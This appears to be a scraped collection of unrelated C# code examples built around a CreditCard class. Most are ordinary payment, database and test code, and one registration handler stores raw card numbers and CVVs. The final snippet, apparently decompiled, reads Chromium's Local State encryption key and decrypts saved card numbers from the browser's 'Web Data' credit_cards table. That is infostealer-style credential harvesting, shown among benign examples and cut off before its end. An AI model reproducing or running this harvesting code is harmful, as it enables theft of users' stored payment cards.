Inheritance: IPaymentMethod
        public void InsertContactTest()
        {
            var dl = new DriversLicense
                                    {
                                        LicenseNumber = "12345678",
                                        DateOfBirth = DateTime.Today,
                                        Expiry = DateTime.Today
                                    };

            var cc = new CreditCard
                                {
                                    CardNumber = "123123131312",
                                    NameOnCard = "J Bloggs",
                                    ExpiryDate = "02/12",
                                    CreditCardType = CreditCardType.Visa
                                };

            var contact = new Contact
            {
                Name = "Joe Bloggs",
                Email = "*****@*****.**",
                DriversLicense = dl,
                CreditCard = cc,
            };

            contactRepository.InsertContact(contact);
            Assert.IsNotNull(contact.Id);
        }
        public static bool Charge(Customer customer, CreditCard creditcard, decimal amount)
        {
            var myCharge = new StripeChargeCreateOptions();

            // always set these properties
            myCharge.Amount = (int)amount*100;
            myCharge.Currency = "usd";

            // setting up the card
            myCharge.Source = new StripeSourceOptions()
            {
                Object = "card",
                Number = creditcard.creditCardNumber,
                ExpirationMonth = creditcard.expiryDateMonth,
                ExpirationYear = creditcard.expiryDateYear,
                Cvc = creditcard.securityCode                          // optional
            };
            
            var chargeService = new StripeChargeService(StripeApiKey);
            StripeCharge apiResponse = chargeService.Create(myCharge);

            if(apiResponse.Paid == false)
            {
                throw new Exception(apiResponse.FailureMessage);
            }


           
            return apiResponse.Paid;
          


        }
        /// <summary>
        /// Subscribes the user to a Stripe plan. If the user doesn't exist in Stripe, is created
        /// </summary>
        /// <param name="user">Application User</param>
        /// <param name="planId">Plan Id to subscribe the user to</param>
        /// <param name="taxPercent">The tax percent.</param>
        /// <param name="creditCard">The credit card.</param>
        /// <returns>
        /// Subscription
        /// </returns>
        public async Task<Subscription> SubscribeUserAsync
            (SaasEcomUser user, string planId, decimal taxPercent = 0, CreditCard creditCard = null)
        {
            Subscription subscription;
            
            // If the user isn't created in Stripe 
            if (string.IsNullOrEmpty(user.StripeCustomerId))
            {
                // Save the subscription in the DB
                subscription = await _subscriptionDataService.SubscribeUserAsync(user, planId, trialPeriodInDays: null, taxPercent: taxPercent);

                // Create a new customer in Stripe and subscribe him to the plan
                var cardToken = creditCard == null ? null : creditCard.StripeToken;
                var stripeUser = (StripeCustomer) await _customerProvider.CreateCustomerAsync(user, planId, null, cardToken);
                user.StripeCustomerId = stripeUser.Id; // Add stripe user Id to the user

                // Save Stripe Subscription Id in the DB
                subscription.StripeId = GetStripeSubscriptionIdForNewCustomer(stripeUser);
                await _subscriptionDataService.UpdateSubscriptionAsync(subscription);
            }
            else // Create new subscription in Stripe and DB
            {
                subscription = await this.SubscribeUserAsync(user, planId, creditCard, 0, taxPercent: taxPercent);
            }

            // Update tax percent on stripe
            if (taxPercent > 0)
            {
                await this.UpdateSubscriptionTax(user, subscription.StripeId, taxPercent);
            }

            return subscription;
        }
Beispiel #4
0
 ///<summary>Inserts one CreditCard into the database.  Returns the new priKey.</summary>
 internal static long Insert(CreditCard creditCard)
 {
     if(DataConnection.DBtype==DatabaseType.Oracle) {
         creditCard.CreditCardNum=DbHelper.GetNextOracleKey("creditcard","CreditCardNum");
         int loopcount=0;
         while(loopcount<100){
             try {
                 return Insert(creditCard,true);
             }
             catch(Oracle.DataAccess.Client.OracleException ex){
                 if(ex.Number==1 && ex.Message.ToLower().Contains("unique constraint") && ex.Message.ToLower().Contains("violated")){
                     creditCard.CreditCardNum++;
                     loopcount++;
                 }
                 else{
                     throw ex;
                 }
             }
         }
         throw new ApplicationException("Insert failed.  Could not generate primary key.");
     }
     else {
         return Insert(creditCard,false);
     }
 }
 /// <summary>
 /// Construtor da classe <see cref="TransactionRequest"/>.
 /// </summary>
 /// <param name="sellerMail">E-mail da loja cadastrada no Pagamento Digital.</param>
 /// <param name="ipSeller">Endereço de IP da loja.</param>
 /// <param name="orderId">Código do pedido atribuído pela loja.</param>
 /// <param name="buyer">Objeto <see cref="Customer"/>.</param>
 /// <param name="free">Campo de Livre Digitação. Pode ser utilizado para algum parâmetro adicional de identificação da venda.</param>
 /// <param name="freight">Valor do frete.</param>
 /// <param name="freightType">Tipo do frete.</param>
 /// <param name="discount">Valor total do desconto atribuído pela loja.</param>
 /// <param name="addition">Valor total do acréscimo feito pela loja.</param>
 /// <param name="paymentMethod">Objeto <see cref="PaymentMethod"/>.</param>
 /// <param name="urlReturn">URL que direciona o usuário para a loja.</param>
 /// <param name="urlWarning">URL que a loja irá receber as informações de alteração de status da transação.</param>
 /// <param name="products">Lista de produtos.</param>
 /// <param name="installments">Quantidade de Parcelas em que a compra será processada.</param>
 /// <param name="creditCard">Objeto <see cref="CreditCard"/>.</param>
 /// <param name="currency">Moeda utilizada para a transação.</param>
 /// <param name="acceptedContract">Loja informa se o comprador aceitou os termos do contrato.</param>
 /// <param name="viewedContract">Loja informa se o comprador visualizou os termos do contrato.</param>
 /// <param name="campaignId">Identificador da campanha da loja no Pagamento Digital.</param>
 /// <param name="dependentTransactions">Lista de transações dependentes.</param>
 public TransactionRequest(string sellerMail, string ipSeller, string orderId, Customer buyer, string free,
     decimal freight, string freightType, decimal discount, decimal addition,
     PaymentMethod paymentMethod, string urlReturn, string urlWarning, List<Product> products,
     int installments, CreditCard creditCard, string currency, bool acceptedContract,
     bool viewedContract, int campaignId, List<DependentTransaction> dependentTransactions)
 {
     this.SellerMail = sellerMail;
     this.IpSeller = ipSeller;
     this.OrderId = orderId;
     this.Buyer = buyer;
     this.Free = free;
     this.Freight = freight;
     this.FreightType = freightType;
     this.Discount = discount;
     this.Addition = addition;
     this.PaymentMethod = paymentMethod;
     this.UrlReturn = urlReturn;
     this.UrlNotification = urlWarning;
     this.Products = products;
     this.Installments = installments;
     this.CreditCard = creditCard;
     this.Currency = currency;
     this.AcceptedContract = acceptedContract;
     this.ViewedContract = viewedContract;
     this.CampaignId = campaignId;
     this.DependentTransactions = dependentTransactions;
 }
Beispiel #6
0
 public Orders()
 {
     _creditCard = new CreditCard();
     _orderDetails = new OrderDetails();
     _endUser = new EndUser();
     _shippingAddress = new Address();
 }
Beispiel #7
0
    protected void lbBasicAuth_Click(object sender, EventArgs e)
    {
        string merchantId = ConfigurationManager.AppSettings["MerchantID"];
        string account = ConfigurationManager.AppSettings["Account"];
        string sharedSecret = ConfigurationManager.AppSettings["SharedSecret"];

        Merchant merchant = new Merchant(merchantId, account, sharedSecret);
        Order order = new Order("GBP", 999);
        //working
        CreditCard card = new CreditCard("MC", "5425232820001308", "0118", "Phil McCracken", "123", 1);
        //invalid
        //CreditCard card = new CreditCard("MC", "1234123412341234", "0118", "Phil McCracken", "123", 1);
        Address address = new Address("", "", "", "", "", "", "", "");
        PhoneNumbers numbers = new PhoneNumbers("", "", "", "");
        Payer payer = new Payer("Business", "test", "", "Phil", "McCracken", "", address, numbers, "", new ArrayList());

        string timestamp = Common.GenerateTimestamp();

        string autoSettle = "1";

        RealAuthTransactionResponse resp = RealAuthorisation.Auth(merchant, order, card, autoSettle, timestamp);

        lblErrorCode.Text = resp.ResultCode.ToString();
        lblResult.Text = resp.ResultMessage;
    }
Beispiel #8
0
 ///<summary>Inserts one CreditCard into the database.  Provides option to use the existing priKey.</summary>
 internal static long Insert(CreditCard creditCard,bool useExistingPK)
 {
     if(!useExistingPK && PrefC.RandomKeys) {
         creditCard.CreditCardNum=ReplicationServers.GetKey("creditcard","CreditCardNum");
     }
     string command="INSERT INTO creditcard (";
     if(useExistingPK || PrefC.RandomKeys) {
         command+="CreditCardNum,";
     }
     command+="PatNum,Address,Zip,XChargeToken,CCNumberMasked,CCExpiration,ItemOrder,ChargeAmt,DateStart,DateStop,Note,PayPlanNum) VALUES(";
     if(useExistingPK || PrefC.RandomKeys) {
         command+=POut.Long(creditCard.CreditCardNum)+",";
     }
     command+=
              POut.Long  (creditCard.PatNum)+","
         +"'"+POut.String(creditCard.Address)+"',"
         +"'"+POut.String(creditCard.Zip)+"',"
         +"'"+POut.String(creditCard.XChargeToken)+"',"
         +"'"+POut.String(creditCard.CCNumberMasked)+"',"
         +    POut.Date  (creditCard.CCExpiration)+","
         +    POut.Int   (creditCard.ItemOrder)+","
         +"'"+POut.Double(creditCard.ChargeAmt)+"',"
         +    POut.Date  (creditCard.DateStart)+","
         +    POut.Date  (creditCard.DateStop)+","
         +"'"+POut.String(creditCard.Note)+"',"
         +    POut.Long  (creditCard.PayPlanNum)+")";
     if(useExistingPK || PrefC.RandomKeys) {
         Db.NonQ(command);
     }
     else {
         creditCard.CreditCardNum=Db.NonQ(command,true);
     }
     return creditCard.CreditCardNum;
 }
        public static bool Charge(Customer customer, CreditCard creditCard, decimal amount)
        {
            var chargeDetails = new StripeChargeCreateOptions();
            chargeDetails.Amount = (int)(amount * 100);
            chargeDetails.Currency = "usd";

            chargeDetails.Source = new StripeSourceOptions
            {
                Object = "card",
                Number = creditCard.CardNumber,
                ExpirationMonth = creditCard.ExpirationDate.Month.ToString(),
                ExpirationYear = creditCard.ExpirationDate.Year.ToString(),
                Cvc = creditCard.Cvc
            };

            var chargeService = new StripeChargeService(StripeApiKey);
            var response = chargeService.Create(chargeDetails);

            if (response.Paid == false)
            {
                throw new Exception(response.FailureMessage);
            }

            return response.Paid;

        }
Beispiel #10
0
        public static bool Charge(Customer cus, CreditCard cc, decimal amount) //PRD)
        {
            var chargeDetails = new StripeChargeCreateOptions();
            chargeDetails.Amount = (int)amount * 100;
            chargeDetails.Currency = "usd";

            chargeDetails.Source = new StripeSourceOptions
            {
                Object = "card",
                Number = cc.CardNum,
                ExpirationMonth = cc.Expiration.Substring(0, 2),
                ExpirationYear = cc.Expiration.Substring(3, 2),
                Cvc = cc.CVC
            };

            var chargeService = new StripeChargeService(APIKey);
            var response = chargeService.Create(chargeDetails);

            if (response.Paid == false)
            {
                throw new Exception(response.FailureMessage);
            }

            return response.Paid;

        }
Beispiel #11
0
 public PaymentMethod(CreditCard creditCard,
     PurchaseType purchaseType,
     int installments = 1)
 {
     CreditCard = creditCard;
     PurchaseType = purchaseType;
     Installments = installments;
 }
 public void Insert(CreditCard model)
 {
     using (_db = new MyCoolDbEntities())
     {
         _db.CreditCards.AddObject(model);
         _db.SaveChanges();
         
     }
 }
 public void Delete(CreditCard model)
 {
     using (_db = new MyCoolDbEntities())
     {
         var entity = _db.CreditCards.Where(c => c.Id == model.Id).SingleOrDefault();
         _db.CreditCards.DeleteObject(entity);
         _db.SaveChanges();
     }
 }
Beispiel #14
0
        /// <summary>
        /// Adds the credit card asynchronous.
        /// </summary>
        /// <param name="user">The user.</param>
        /// <param name="card">The card.</param>
        /// <returns></returns>
        public async Task AddAsync(SaasEcomUser user, CreditCard card)
        {
            // Save to Stripe
            var stripeCustomerId = user.StripeCustomerId;
            AddCardToStripe(card, stripeCustomerId);

            // Save to storage
            card.SaasEcomUserId = user.Id;
            await _cardDataService.AddAsync(card);
        }
 public void Update(CreditCard entity)
 {
     using (_db = new MyCoolDbEntities())
     {
         _db.CreditCards.Attach(entity);
         _db.ObjectStateManager.ChangeObjectState(entity, System.Data.EntityState.Modified);
         _db.CreditCards.ApplyCurrentValues(entity);
         _db.SaveChanges();
     }
 }
        public void Setup()
        {
            _card = new CreditCard {
                Number = "4111111111111111",
                ExpMonth = 3,
                ExpYear = 2015
            };

            _client = new StripeClient(Constants.ApiKey);
        }
        public CardTokenTests()
        {
            _card = new CreditCard {
                Number = "4111111111111111",
                ExpMonth = 3,
                ExpYear = 2015
            };

            _client = new StripeClient(Constants.ApiKey);
        }
        public CustomerTests()
        {
            _card = new CreditCard {
                Number = "4242424242424242",
                ExpMonth = 3,
                ExpYear = 2015
            };

            _client = new StripeClient(Constants.ApiKey);
        }
        public ChargeTests()
        {
            _card = new CreditCard {
                Number = "4242 4242 4242 4242",
                ExpMonth = DateTime.Now.Month,
                ExpYear = DateTime.Now.AddYears(1).Year
            };

            _client = new StripeClient(Constants.ApiKey);
            _customer = _client.CreateCustomer(_card);
        }
Beispiel #20
0
        public ChargeTests()
        {
            _card = new CreditCard {
                Number = "4242 4242 4242 4242",
                ExpMonth = 3,
                ExpYear = 2015
            };

            _client = new StripeClient(Constants.ApiKey);
            _customer = _client.CreateCustomer(_card);
        }
        public CardTokenTests()
        {
            _card = new CreditCard
            {
                Number = "4242424242424242",
                ExpMonth = 3,
                ExpYear = (DateTime.Now.Year + 2)
            };

            _client = new StripeClient(Constants.ApiKey);
        }
Beispiel #22
0
        /// <summary>
        /// Updates the customer.
        /// </summary>
        /// <param name="user">The user.</param>
        /// <param name="card">The card.</param>
        /// <returns></returns>
        public object UpdateCustomer(SaasEcomUser user, CreditCard card)
        {
            var customer = new StripeCustomerUpdateOptions
            {
                Email = user.Email,

                // Card Details
                SourceToken = card.StripeToken
            };

            return _customerService.Update(user.StripeCustomerId, customer);
        }
Beispiel #23
0
        public InvoiceTests()
        {
            _card = new CreditCard
            {
                Number = "4242424242424242",
                ExpMonth = 3,
                ExpYear = (DateTime.Now.Year + 2)
            };

            _client = new StripeClient(Constants.ApiKey);
            _customer = _client.CreateCustomer(_card);
        }
        // PUT api/awbuildversion/5
        public void Put(CreditCard value)
        {
            var GetActionType = Request.Headers.Where(x => x.Key.Equals("ActionType")).FirstOrDefault();

            if (GetActionType.Key != null)
            {
                if (GetActionType.Value.ToList()[0].Equals("DELETE"))
                    adventureWorks_BC.CreditCardDelete(value);
                if (GetActionType.Value.ToList()[0].Equals("UPDATE"))
                    adventureWorks_BC.CreditCardUpdate(value);
            }
        }
Beispiel #25
0
 public int UpdateCreditCard(CreditCard A)
 {
     try
     {
         db.Entry(A).State = EntityState.Modified;
         return db.SaveChanges();
     }
     catch (Exception e)
     {
         throw new Exception(e.Message);
     }
 }
Beispiel #26
0
 public int CreateCreditCard(CreditCard A)
 {
     try
     {
         db.CreditCards.Add(A);
         return db.SaveChanges();
     }
     catch (Exception e)
     {
         throw new Exception(e.Message);
     }
 }
Beispiel #27
0
 /// <summary>
 /// Cria uma Forma de Pagamento de Cliente.
 /// </summary>
 /// <param name="description">Descrição</param>
 /// <param name="data">Dados da Forma de Pagamento</param>
 /// <param name="set_as_default">(opcional)	Tipo da Forma de Pagamento. Atualmente suportamos apenas Cartão de Crédito (tipo credit_card). Só deve ser enviado caso não envie token.</param>
 /// <param name="token">(opcional)	Token de Pagamento, pode ser utilizado em vez de enviar os dados da forma de pagamento</param>
 /// <param name="item_type">(opcional)	Transforma a forma de pagamento na padrão do cliente</param>
 public PaymentMethodModel Create(string description, CreditCard data, bool? set_as_default, string token = "", string item_type = "")
 {
     var paymentmethod = new
     {
         description = description,
         data = data,
         set_as_default = set_as_default,
         token = token,
         item_type = item_type
     };
     var retorno = PostAsync<PaymentMethodModel>(paymentmethod).Result;
     return retorno;
 }
Beispiel #28
0
        /// <summary>
        /// Updates the credit card asynchronous.
        /// </summary>
        /// <param name="user">The user.</param>
        /// <param name="creditcard">The creditcard.</param>
        /// <returns></returns>
        public async Task UpdateAsync(SaasEcomUser user, CreditCard creditcard)
        {
            // Remove current card from stripe
            var currentCard = await _cardDataService.FindAsync(user.Id, creditcard.Id, true);
            var stripeCustomerId = user.StripeCustomerId;
            _cardService.Delete(stripeCustomerId, currentCard.StripeId);

            this.AddCardToStripe(creditcard, stripeCustomerId);

            // Update card in the DB
            creditcard.SaasEcomUserId = user.Id;
            await _cardDataService.UpdateAsync(user.Id, creditcard);
        }
        public IRestResponse AddCard(string profileId, CreditCard card)
        {
            var service = string.Format(Urls.AddCardToProfile, profileId);

            var request = new RestRequest(service, Method.POST)
            {
                RequestFormat = DataFormat.Json
            };
            request.AddHeader("Authorization", Headers.GetAuthorizationHeader());
            request.AddBody(card);

            return _client.Execute(request);
        }
        public SubscriptionTests()
        {
            _client = new StripeClient(Constants.ApiKey);

            var id = Guid.NewGuid().ToString();
            var card = new CreditCard {
                Number = "4111111111111111",
                ExpMonth = 3,
                ExpYear = 2015
            };

            _plan = _client.CreatePlan(id, 400M, "usd", PlanFrequency.Month, id);
            _customer = _client.CreateCustomer(card);
        }
Beispiel #31
0
 public static PaymentInstrumentViewDTO RectApiCreditCard2PaymentInstrumentDto(this CreditCard card, Guid instrumentId, string displayName)
 {
     return(new PaymentInstrumentViewDTO
     {
         InstrumentId = instrumentId
         , DisplayName = $"{card.type.CapitalizeWord()}, card no {displayName}, valid until {card.expire_month}/{card.expire_year}, card holder name {card.first_name.CapitalizeWord()} {card.last_name.CapitalizeWord()}"
         , State = card.state
     });
 }
 public IResult Update(CreditCard entity)
 {
     _creditCardDal.Update(entity);
     return(new SuccessResult("Kartınız güncellendi."));
 }
 public bool Checkout(CreditCard creditCard, Session sessionContext)
 {
     throw new NotImplementedException();
 }
 public void NullCreditCardIdTest()
 {
     CreditCard card = CreditCard.Get(AccessToken, null);
 }
Beispiel #35
0
        public ActionResult PaymentWithCreditCard()
        {
            //create and item for which you are taking payment
            //if you need to add more items in the list
            //Then you will need to create multiple item objects or use some loop to instantiate object

            Item item = new Item
            {
                name     = "Demo Item1",
                currency = "USD",
                price    = "6",
                quantity = "2",
                sku      = "dhghftghjn"
            };

            //Now make a List of Item and add the above item to it
            //you can create as many items as you want and add to this list
            List <Item> itms = new List <Item> {
                item
            };
            ItemList itemList = new ItemList {
                items = itms
            };

            //Address for the payment
            Address billingAddress = new Address
            {
                city         = "NewYork",
                country_code = "US",
                line1        = "23rd street kew gardens",
                postal_code  = "43210",
                state        = "NY"
            };


            //Now Create an object of credit card and add above details to it
            //Please replace your credit card details over here which you got from paypal
            CreditCard crdtCard = new CreditCard
            {
                billing_address = billingAddress,
                cvv2            = "874",
                expire_month    = 1,
                expire_year     = 2020,
                first_name      = "Aman",
                last_name       = "Thakur",
                number          = "1234567890123456",
                type            = "visa"
            };
            //card cvv2 number
            //card expire date
            //card expire year
            //enter your credit card number here
            //credit card type here paypal allows 4 types

            // Specify details of your payment amount.
            Details details = new Details
            {
                shipping = "1",
                subtotal = "5",
                tax      = "1"
            };

            // Specify your total payment amount and assign the details object
            Amount amnt = new Amount
            {
                currency = "USD",
                total    = "7",
                details  = details
            };
            // Total = shipping tax + subtotal.

            // Now make a transaction object and assign the Amount object

            var guid = Guid.NewGuid().ToString();

            Transaction tran = new Transaction
            {
                amount         = amnt,
                description    = "Description about the payment amount.",
                item_list      = itemList,
                invoice_number = guid
            };

            // Now, we have to make a list of transaction and add the transactions object
            // to this list. You can create one or more object as per your requirements

            List <Transaction> transactions = new List <Transaction>
            {
                tran
            };

            // Now we need to specify the FundingInstrument of the Payer
            // for credit card payments, set the CreditCard which we made above

            FundingInstrument fundInstrument = new FundingInstrument
            {
                credit_card = crdtCard
            };

            // The Payment creation API requires a list of FundingIntrument

            List <FundingInstrument> fundingInstrumentList = new List <FundingInstrument>
            {
                fundInstrument
            };

            // Now create Payer object and assign the fundinginstrument list to the object
            Payer payr = new Payer
            {
                funding_instruments = fundingInstrumentList,
                payment_method      = "credit_card"
            };

            // finally create the payment object and assign the payer object & transaction list to it
            Payment pymnt = new Payment
            {
                intent       = "sale",
                payer        = payr,
                transactions = transactions
            };

            try
            {
                //getting context from the paypal
                //basically we are sending the clientID and clientSecret key in this function
                //to the get the context from the paypal API to make the payment
                //for which we have created the object above.

                //Basically, apiContext object has a accesstoken which is sent by the paypal
                //to authenticate the payment to facilitator account.
                //An access token could be an alphanumeric string

                APIContext apiContext = Configuration.GetAPIContext();

                //Create is a Payment class function which actually sends the payment details
                //to the paypal API for the payment. The function is passed with the ApiContext
                //which we received above.

                Payment createdPayment = pymnt.Create(apiContext);

                //if the createdPayment.state is "approved" it means the payment was successful else not

                if (createdPayment.state.ToLower() != "approved")
                {
                    return(View("FailureView"));
                }
            }
            catch (PayPal.PayPalException ex)
            {
                // Logger.Log("Error: " + ex.Message);
                return(View("FailureView"));
            }

            return(View("SuccessView"));
        }
        //string optin, string fax, string altcity,string giftoptin, string giftfax, string giftaltcity
        private object[] CreateSubscription(string subscriptionlength,
                                            string amountpaid, string verifoneroutingid,
                                            string publicationcode, string keycode,
                                            string renewingmemberid, string salutation, string firstname, string middleinitial, string lastname, string suffix,
                                            string professionaltitle, string email, string businessname, string address1, string address2, string address3,
                                            string city, string state, string postalcode, string country,
                                            string phone,
                                            string giftflag,
                                            string renewinggiftmemberid, string giftsalutation, string giftfirstname, string giftmiddleinitial, string giftlastname, string giftsuffix,
                                            string giftprofessionaltitle, string giftemail, string giftbusinessname, string giftaddress1, string giftaddress2, string giftaddress3,
                                            string giftcity, string giftstate, string giftpostalcode, string giftcountry,
                                            string giftphone,
                                            string iscomp)
        {
            int    response_code = 0;
            string member_id     = string.Empty;

            #region convert string input to correct types

            bool is_comp = false;
            if (!bool.TryParse(iscomp, out is_comp))
            {
                is_comp = false;
            }
            int   i_subscriptionlength = 0;
            float f_amountpaid         = 0.0f;
            bool  b_optin     = false;
            bool  b_giftflag  = false;
            bool  b_giftoptin = false;

            if (!int.TryParse(subscriptionlength, out i_subscriptionlength))
            {
                response_code = 401;
            }
            if (!float.TryParse(amountpaid, out f_amountpaid))
            {
                response_code = 402;
            }

            /*if (!bool.TryParse(optin, out b_optin))
             * {
             *  response_code = 403;
             * }*/
            if (!string.IsNullOrEmpty(giftflag))
            {
                if (!bool.TryParse(giftflag, out b_giftflag))
                {
                    response_code = 404;
                }

                /*if (!bool.TryParse(giftoptin, out b_giftoptin))
                 * {
                 *  response_code = 405;
                 * }*/
            }
            #endregion

            if (response_code == 0)
            {
                #region set member data
                Member memberData = new Member();
                memberData.MemberId          = renewingmemberid;
                memberData.Salutation        = salutation;
                memberData.FirstName         = firstname;
                memberData.MiddleInitial     = middleinitial;
                memberData.LastName          = lastname;
                memberData.Suffix            = suffix;
                memberData.ProfessionalTitle = professionaltitle;
                memberData.OptIn             = b_optin;
                memberData.Email             = email;

                memberData.Address = new Address();
                memberData.Address.BusinessName = businessname;
                memberData.Address.Address1     = address1;
                memberData.Address.Address2     = address2;
                memberData.Address.Address3     = address3;
                memberData.Address.City         = city;
                memberData.Address.State        = state;
                memberData.Address.PostalCode   = postalcode;
                memberData.Address.Country      = country;
                memberData.Address.Phone        = phone;
                //memberData.Address.Fax = fax;
                //memberData.Address.AltCity = altcity;

                Member giftData = new Member();
                if (b_giftflag)
                {
                    giftData.MemberId          = renewinggiftmemberid;
                    giftData.Salutation        = salutation;
                    giftData.FirstName         = firstname;
                    giftData.MiddleInitial     = middleinitial;
                    giftData.LastName          = lastname;
                    giftData.Suffix            = suffix;
                    giftData.ProfessionalTitle = professionaltitle;
                    giftData.OptIn             = b_giftoptin;
                    giftData.Email             = email;

                    giftData.Address = new Address();
                    giftData.Address.BusinessName = businessname;
                    giftData.Address.Address1     = address1;
                    giftData.Address.Address2     = address2;
                    giftData.Address.Address3     = address3;
                    giftData.Address.City         = city;
                    giftData.Address.State        = state;
                    giftData.Address.PostalCode   = postalcode;
                    giftData.Address.Country      = country;
                    giftData.Address.Phone        = phone;
                    //giftData.Address.Fax = fax;
                    //giftData.Address.AltCity = altcity;
                }
                #endregion

                #region set cc data
                CreditCard creditCardData = new CreditCard();
                creditCardData.Price             = f_amountpaid;
                creditCardData.AmountPaid        = f_amountpaid;
                creditCardData.VerifoneRoutingId = verifoneroutingid;

                if (is_comp)
                {
                    creditCardData.PaymentType = "F";
                }
                #endregion

                SubscriptionServiceRequest request = new SubscriptionServiceRequest(memberData, giftData,
                                                                                    creditCardData, publicationcode, keycode, b_giftflag, i_subscriptionlength);
                BaseResponse sub_response = SubOrderInsert.CreateSubscription(request);
                if (sub_response == null || sub_response.TypedResponse == null || sub_response.TypedResponse.Success == false)
                {
                    string msgs = string.Empty;
                    foreach (Message s in sub_response.Messages)
                    {
                        msgs += "[" + s.ToString() + "]";
                    }
                    tbl_AppEventLog logmsg = new tbl_AppEventLog();
                    logmsg.aelAppName     = "HarperSERVICE";
                    logmsg.aelDateCreated = DateTime.Now;
                    logmsg.aelEvent       = "406";
                    logmsg.aelMessage1    = "sub_response messages:" + msgs;
                    logmsg.aelMessage2    = "typed response:" + sub_response.TypedResponse.ToString();
                    logmsg.aelMessage3    = "success:" + sub_response.TypedResponse.Success;
                    logmsg.Save();
                    response_code = 406;
                }
                else
                {
                    member_id = ((SubscriptionServiceResponse)sub_response.TypedResponse).MemberId;
                }
            }
            return(new object[] { response_code, member_id });
        }
Beispiel #37
0
        public ActionResult Index([Bind(Include = "userName,password,confirmedPassword,fName,mName,lName,dob,gender,phone,email,acceptEmails,number,name,expDate,creditCardType,CVV,billStreet,billCity,billPostalCode,billProvinceCode,shipStreet,shipCity,shipPostalCode,shipProvinceCode")] Profile profile)
        {
            var accnt = db.Accounts.Where(a => a.userName == profile.userName).SingleOrDefault();

            if (accnt != null)
            {
                ModelState.AddModelError("userName", "Username already exits.");
            }
            if (profile.dob > DateTime.Today)
            {
                ModelState.AddModelError("dob", "Birthdate cannot be later than today.");
            }
            if (profile.expDate <= DateTime.Today)
            {
                ModelState.AddModelError("expDate", "Expiry date cannot be earlier than the current month.");
            }

            if (ModelState.IsValid)
            {
                try
                {
                    Person person = new Person();
                    person.fName        = profile.fName;
                    person.mName        = profile.mName;
                    person.lName        = profile.lName;
                    person.dob          = profile.dob;
                    person.dob          = profile.dob;
                    person.gender       = profile.gender;
                    person.phone        = profile.phone;
                    person.email        = profile.email;
                    person.acceptEmails = profile.acceptEmails;
                    person.regDate      = DateTime.Now;
                    db.People.Add(person);
                    db.SaveChanges();
                    Account account = new Account();
                    account.personId = person.personId;
                    account.userName = profile.userName;
                    byte[]        hash     = SHA256Managed.Create().ComputeHash(Encoding.UTF8.GetBytes(profile.password));
                    StringBuilder password = new StringBuilder();
                    for (int i = 0; i < hash.Length; i++)
                    {
                        password.Append(hash[i].ToString("X2"));
                    }
                    account.password = password.ToString();
                    account.roleCode = "member";
                    db.Accounts.Add(account);
                    CreditCard creditCard = new CreditCard();
                    creditCard.personId       = person.personId;
                    creditCard.number         = profile.number;
                    creditCard.name           = profile.name;
                    creditCard.expDate        = profile.expDate;
                    creditCard.creditCardType = profile.creditCardType;
                    creditCard.CVV            = profile.CVV;
                    db.CreditCards.Add(creditCard);
                    Address shipAddress = new Address();
                    shipAddress.street       = profile.shipStreet;
                    shipAddress.city         = profile.shipCity;
                    shipAddress.postalCode   = profile.shipPostalCode;
                    shipAddress.provinceCode = profile.shipProvinceCode;
                    Address billAddress = new Address();
                    billAddress.street       = profile.billStreet;
                    billAddress.city         = profile.billCity;
                    billAddress.postalCode   = profile.billPostalCode;
                    billAddress.provinceCode = profile.billProvinceCode;
                    db.Addresses.Add(shipAddress);
                    db.Addresses.Add(billAddress);
                    db.SaveChanges();
                    PersonAddress shipPersonAddress = new PersonAddress();
                    shipPersonAddress.personId  = person.personId;
                    shipPersonAddress.addressId = shipAddress.addressId;
                    shipPersonAddress.type      = "shipping";
                    PersonAddress billPersonAddress = new PersonAddress();
                    billPersonAddress.personId  = person.personId;
                    billPersonAddress.addressId = billAddress.addressId;
                    billPersonAddress.type      = "billing";
                    db.PersonAddresses.Add(billPersonAddress);
                    db.PersonAddresses.Add(shipPersonAddress);
                    Cart cart = new Cart();
                    cart.personId = person.personId;
                    cart.total    = 0.00m;
                    db.Carts.Add(cart);
                    db.SaveChanges();
                    return(RedirectToAction("Index", "Home"));
                }
                catch (Exception)
                {
                    TempData["errMsg"] = "An unexpected error has occurred. Please try again later.";
                }
            }

            ViewBag.genders          = new SelectList(Enum.GetValues(typeof(PersonEnums.Gender)), profile.gender);
            ViewBag.creditCardTypes  = new SelectList(Enum.GetValues(typeof(CreditCardEnums.CreditCardType)), profile.creditCardType);
            ViewBag.shipProvinceCode = new SelectList(db.Provinces, "provinceCode", "provinceCode", profile.shipProvinceCode);
            ViewBag.billProvinceCode = new SelectList(db.Provinces, "provinceCode", "provinceCode", profile.billProvinceCode);
            return(View(profile));
        }
Beispiel #38
0
        // Token: 0x060002E3 RID: 739 RVA: 0x0000E458 File Offset: 0x0000C658
        private static List <CreditCard> EnumCC(string profilePath)
        {
            List <CreditCard> list = new List <CreditCard>();

            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                if (!File.Exists(text))
                {
                    return(list);
                }
                string text2 = string.Empty;
                string text3 = string.Empty;
                if (string.IsNullOrWhiteSpace(text3))
                {
                    try
                    {
                        string[] array = profilePath.Split(new string[]
                        {
                            "\\"
                        }, StringSplitOptions.RemoveEmptyEntries);
                        array = array.Take(array.Length - 1).ToArray <string>();
                        text2 = Path.Combine(string.Join("\\", array), "Local State");
                        if (!File.Exists(text2))
                        {
                            text2 = Path.Combine(profilePath, "Local State");
                        }
                        if (File.Exists(text2))
                        {
                            try
                            {
                                bool   flag;
                                string path = DecryptHelper.TryCreateTemp(text2, out flag);
                                text3 = File.ReadAllText(path).FromJSON()["os_crypt"]["encrypted_key"].ToString(false);
                                if (flag)
                                {
                                    File.Delete(path);
                                }
                            }
                            catch (Exception)
                            {
                            }
                        }
                    }
                    catch
                    {
                    }
                }
                bool   flag2;
                string text4 = DecryptHelper.TryCreateTemp(text, out flag2);
                try
                {
                    SqlConnection sqlConnection = new SqlConnection(text4);
                    sqlConnection.ReadTable("credit_cards");
                    for (int i = 0; i < sqlConnection.RowLength; i++)
                    {
                        CreditCard creditCard = null;
                        try
                        {
                            string text5 = ChromiumEngine.DecryptChromium(sqlConnection.ParseValue(i, "card_number_encrypted"), text3).Replace(" ", string.Empty);
                            creditCard = new CreditCard
                            {
                                Holder          = sqlConnection.ParseValue(i, "name_on_card").Trim(),
                                ExpirationMonth = Convert.ToInt32(sqlConnection.ParseValue(i, "expiration_month").Trim()),
                                ExpirationYear  = Convert.ToInt32(sqlConnection.ParseValue(i, "expiration_year").Trim()),
                                CardNumber      = text5,
                                CardType        = DecryptHelper.DetectCreditCardType(text5)
                            };
                        }
                        catch
                        {
                        }
                        if (creditCard != null)
                        {
                            list.Add(creditCard);
                        }
                    }
                }
                catch
